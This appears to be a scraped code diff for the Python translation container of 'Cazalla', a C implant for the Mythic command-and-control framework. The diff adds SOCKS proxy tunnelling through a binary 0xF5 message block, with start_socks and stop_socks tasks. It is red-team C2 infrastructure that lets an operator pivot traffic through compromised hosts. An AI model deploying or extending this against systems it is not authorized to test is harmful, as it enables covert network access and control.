port = 1080
|
||||||
|
print(f"[DEBUG] startSocks(): puerto recibido -> {port}")
|
||||||
|
return {"action": "start_socks", "port": port}
|
||||||
|
|
||||||
|
|
||||||
|
def stopSocks(data):
|
||||||
|
"""Parses incoming data for stop_socks tasks."""
|
||||||
|
print("[DEBUG] stopSocks() recibido")
|
||||||
|
return {"action": "stop_socks"}
|
||||||
|
|||||||
@@ -9,9 +9,9 @@ from translator.commands_from_implant import *
|
|||||||
|
|
||||||
from mythic_container.TranslationBase import *
|
from mythic_container.TranslationBase import *
|
||||||
|
|
||||||
class cazalla_translator(TranslationContainer):
|
class cazalla_translator(TranslationContainer):
|
||||||
name = "cazalla_translator"
|
name = "cazalla_translator"
|
||||||
description = "python translation service for the Kaseya C agent Cazalla"
|
description = "Python translation service for the C agent Cazalla"
|
||||||
author = "OFSTeam"
|
author = "OFSTeam"
|
||||||
|
|
||||||
async def generate_keys(self, inputMsg: TrGenerateEncryptionKeysMessage) -> TrGenerateEncryptionKeysMessageResponse:
|
async def generate_keys(self, inputMsg: TrGenerateEncryptionKeysMessage) -> TrGenerateEncryptionKeysMessageResponse:
|
||||||
@@ -23,30 +23,171 @@ class cazalla_translator(TranslationContainer):
|
|||||||
async def translate_to_c2_format(self, inputMsg: TrMythicC2ToCustomMessageFormatMessage) -> TrMythicC2ToCustomMessageFormatMessageResponse:
|
async def translate_to_c2_format(self, inputMsg: TrMythicC2ToCustomMessageFormatMessage) -> TrMythicC2ToCustomMessageFormatMessageResponse:
|
||||||
response = TrMythicC2ToCustomMessageFormatMessageResponse(Success=True)
|
response = TrMythicC2ToCustomMessageFormatMessageResponse(Success=True)
|
||||||
print("C2 --> IMPLANT :" + json.dumps(inputMsg.Message))
|
print("C2 --> IMPLANT :" + json.dumps(inputMsg.Message))
|
||||||
|
|
||||||
if inputMsg.Message["action"] == "checkin":
|
if inputMsg.Message["action"] == "checkin":
|
||||||
print("Response CHECKIN")
|
print("Response CHECKIN")
|
||||||
response.Message = responseCheckin(inputMsg.Message["id"])
|
response.Message = responseCheckin(inputMsg.Message["id"])
|
||||||
|
|
||||||
elif inputMsg.Message["action"] == "get_tasking":
|
elif inputMsg.Message["action"] == "get_tasking":
|
||||||
print("Response TASKING")
|
print("Response TASKING")
|
||||||
response.Message = responseTasking(inputMsg.Message["tasks"])
|
response.Message = responseTasking(inputMsg.Message["tasks"]) # base tasks
|
||||||
|
print(f"[TRANSLATOR] Base tasking message: {len(response.Message)} bytes")
|
||||||
|
# Append SOCKS array if present from Mythic
|
||||||
|
socks_list = inputMsg.Message.get("socks", [])
|
||||||
|
print(f"[TRANSLATOR] SOCKS list: {len(socks_list)} items")
|
||||||
|
if socks_list:
|
||||||
|
# Encode an extension block for C agent: 0xF5 | [len] | [records]
|
||||||
|
# Each record: [Int32 server_id][Byte exit][Int32 b64len][b64]
|
||||||
|
extension = bytearray()
|
||||||
|
for s in socks_list:
|
||||||
|
sid = int(s.get("server_id", 0))
|
||||||
|
exitb = 1 if s.get("exit", False) else 0
|
||||||
|
data_str = s.get("data") or ""
|
||||||
|
b64 = data_str.encode() if data_str else b""
|
||||||
|
data_preview = data_str[:50] if data_str else "(null)"
|
||||||
|
print(f"[TRANSLATOR] SOCKS: sid={sid} exit={exitb} b64_len={len(b64)} data={data_preview}")
|
||||||
|
extension += sid.to_bytes(4, "big")
|
||||||
|
extension += bytes([exitb])
|
||||||
|
extension += len(b64).to_bytes(4, "big")
|
||||||
|
extension += b64
|
||||||
|
socks_block = bytes([0xF5]) + len(extension).to_bytes(4, "big") + bytes(extension)
|
||||||
|
print(f"[TRANSLATOR] SOCKS block total: {len(socks_block)} bytes (marker + len={5} + ext={len(extension)})")
|
||||||
|
response.Message += socks_block
|
||||||
|
print(f"[TRANSLATOR] Final message with SOCKS: {len(response.Message)} bytes")
|
||||||
|
|
||||||
elif inputMsg.Message["action"] == "post_response":
|
elif inputMsg.Message["action"] == "post_response":
|
||||||
print("Response POSTREP")
|
print("Response POSTREP")
|
||||||
response.Message = responsePosting(inputMsg.Message["responses"])
|
response.Message = responsePosting(inputMsg.Message["responses"]) # base responses
|
||||||
|
socks_list = inputMsg.Message.get("socks", [])
|
||||||
|
if socks_list:
|
||||||
|
extension = bytearray()
|
||||||
|
for s in socks_list:
|
||||||
|
sid = int(s.get("server_id", 0))
|
||||||
|
exitb = 1 if s.get("exit", False) else 0
|
||||||
|
data_str = s.get("data") or ""
|
||||||
|
b64 = data_str.encode() if data_str else b""
|
||||||
|
extension += sid.to_bytes(4, "big")
|
||||||
|
extension += bytes([exitb])
|
||||||
|
extension += len(b64).to_bytes(4, "big")
|
||||||
|
extension += b64
|
||||||
|
response.Message += bytes([0xF5]) + len(extension).to_bytes(4, "big") + bytes(extension)
|
||||||
|
|
||||||
|
# ============================
|
||||||
|
# NUEVOS COMANDOS SOCKS
|
||||||
|
# ============================
|
||||||
|
elif inputMsg.Message["action"] == "start_socks":
|
||||||
|
print("Response START_SOCKS")
|
||||||
|
# Construye un paquete de tipo "start_socks" con el puerto
|
||||||
|
tasks = [{
|
||||||
|
"command": "start_socks",
|
||||||
|
"id": inputMsg.Message.get("id", "00000000-0000-0000-0000-000000000000"),
|
||||||
|
"parameters": json.dumps({"port": int(inputMsg.Message.get("port", 1080))})
|
||||||
|
}]
|
||||||
|
response.Message = responseTasking(tasks)
|
||||||
|
|
||||||
|
elif inputMsg.Message["action"] == "stop_socks":
|
||||||
|
print("Response STOP_SOCKS")
|
||||||
|
tasks = [{
|
||||||
|
"command": "stop_socks",
|
||||||
|
"id": inputMsg.Message.get("id", "00000000-0000-0000-0000-000000000000"),
|
||||||
|
"parameters": ""
|
||||||
|
}]
|
||||||
|
response.Message = responseTasking(tasks)
|
||||||
|
|
||||||
return response
|
return response
|
||||||
|
|
||||||
|
|
||||||
|
def extract_socks_block(self, data):
|
||||||
|
"""Extrae el bloque SOCKS (0xF5) del mensaje del implante y lo parsea."""
|
||||||
|
socks_array = []
|
||||||
|
clean_data = data
|
||||||
|
|
||||||
|
# Buscar el marcador 0xF5
|
||||||
|
cursor = 0
|
||||||
|
while cursor + 5 <= len(data):
|
||||||
|
if data[cursor] == 0xF5:
|
||||||
|
print(f"[TRANSLATOR] ¡Bloque SOCKS 0xF5 encontrado en offset {cursor}!")
|
||||||
|
# Leer longitud del bloque
|
||||||
|
ext_len = int.from_bytes(data[cursor+1:cursor+5], "big")
|
||||||
|
print(f"[TRANSLATOR] Longitud del bloque SOCKS: {ext_len} bytes")
|
||||||
|
|
||||||
|
if cursor + 5 + ext_len > len(data):
|
||||||
|
print(f"[TRANSLATOR] ERROR: bloque SOCKS truncado")
|
||||||
|
break
|
||||||
|
|
||||||
|
# Parsear cada registro SOCKS dentro del bloque
|
||||||
|
ecur = cursor + 5
|
||||||
|
eend = cursor + 5 + ext_len
|
||||||
|
while ecur + 9 <= eend:
|
||||||
|
sid = int.from_bytes(data[ecur:ecur+4], "big")
|
||||||
|
exitf = data[ecur+4]
|
||||||
|
b64len = int.from_bytes(data[ecur+5:ecur+9], "big")
|
||||||
|
ecur += 9
|
||||||
|
|
||||||
|
if ecur + b64len > eend:
|
||||||
|
print(f"[TRANSLATOR] ERROR: registro SOCKS truncado")
|
||||||
|
break
|
||||||
|
|
||||||
|
# Extraer datos base64
|
||||||
|
b64_data = None
|
||||||
|
if b64len > 0:
|
||||||
|
b64_data = data[ecur:ecur+b64len].decode('ascii')
|
||||||
|
|
||||||
|
socks_record = {
|
||||||
|
"server_id": sid,
|
||||||
|
"exit": bool(exitf),
|
||||||
|
"data": b64_data
|
||||||
|
}
|
||||||
|
socks_array.append(socks_record)
|
||||||
|
print(f"[TRANSLATOR] SOCKS record: sid={sid} exit={exitf} b64_len={b64len}")
|
||||||
|
|
||||||
|
ecur += b64len
|
||||||
|
|
||||||
|
# Remover el bloque SOCKS del mensaje
|
||||||
|
clean_data = data[:cursor]
|
||||||
|
print(f"[TRANSLATOR] Bloque SOCKS extraído, {len(socks_array)} registros encontrados")
|
||||||
|
break
|
||||||
|
cursor += 1
|
||||||
|
|
||||||
|
return clean_data, socks_array
|
||||||
|
|
||||||
async def translate_from_c2_format(self, inputMsg: TrCustomMessageToMythicC2FormatMessage) -> TrCustomMessageToMythicC2FormatMessageResponse:
|
async def translate_from_c2_format(self, inputMsg: TrCustomMessageToMythicC2FormatMessage) -> TrCustomMessageToMythicC2FormatMessageResponse:
|
||||||
response = TrCustomMessageToMythicC2FormatMessageResponse(Success=True)
|
response = TrCustomMessageToMythicC2FormatMessageResponse(Success=True)
|
||||||
print("IMPLANT --> C2 : " + binascii.hexlify(inputMsg.Message).decode('cp850'))
|
print("IMPLANT --> C2 : " + binascii.hexlify(inputMsg.Message).decode('cp850'))
|
||||||
#response.Message = json.loads(inputMsg.Message)
|
|
||||||
data = inputMsg.Message
|
data = inputMsg.Message
|
||||||
|
|
||||||
|
# Extraer bloque SOCKS si existe (después del primer byte de comando)
|
||||||
|
clean_data, socks_array = self.extract_socks_block(data[1:])
|
||||||
|
|
||||||
if data[0] == commands["checkin"]["hex_code"]:
|
if data[0] == commands["checkin"]["hex_code"]:
|
||||||
print("CHECK IN")
|
print("CHECK IN")
|
||||||
response.Message = checkIn(data[1:])
|
response.Message = checkIn(clean_data)
|
||||||
elif data[0] == commands["get_tasking"]["hex_code"]: #GET_TASKING
|
|
||||||
|
elif data[0] == commands["get_tasking"]["hex_code"]:
|
||||||
print("GET TASKING")
|
print("GET TASKING")
|
||||||
response.Message = getTasking(data[1:])
|
response.Message = getTasking(clean_data)
|
||||||
elif data[0] == commands["post_response"]["hex_code"]: #POSTREPONSE
|
# Agregar array SOCKS si existe
|
||||||
|
if socks_array:
|
||||||
|
response.Message["socks"] = socks_array
|
||||||
|
print(f"[TRANSLATOR] Agregados {len(socks_array)} registros SOCKS a GET TASKING")
|
||||||
|
|
||||||
|
elif data[0] == commands["post_response"]["hex_code"]:
|
||||||
print("POST RESPONSE")
|
print("POST RESPONSE")
|
||||||
response.Message = postResponse(data[1:])
|
response.Message = postResponse(clean_data)
|
||||||
|
# Agregar array SOCKS si existe
|
||||||
|
if socks_array:
|
||||||
|
response.Message["socks"] = socks_array
|
||||||
|
print(f"[TRANSLATOR] Agregados {len(socks_array)} registros SOCKS a POST RESPONSE")
|
||||||
|
|
||||||
|
# ============================
|
||||||
|
# NUEVOS COMANDOS SOCKS
|
||||||
|
# ============================
|
||||||
|
elif data[0] == commands["start_socks"]["hex_code"]:
|
||||||
|
print("START SOCKS")
|
||||||
|
response.Message = startSocks(clean_data)
|
||||||
|
|
||||||
|
elif data[0] == commands["stop_socks"]["hex_code"]:
|
||||||
|
print("STOP SOCKS")
|
||||||
|
response.Message = stopSocks(clean_data)
|
||||||
|
|
||||||
return response
|
return response
|
||||||
|
|||||||
Reference in New Issue
Block a user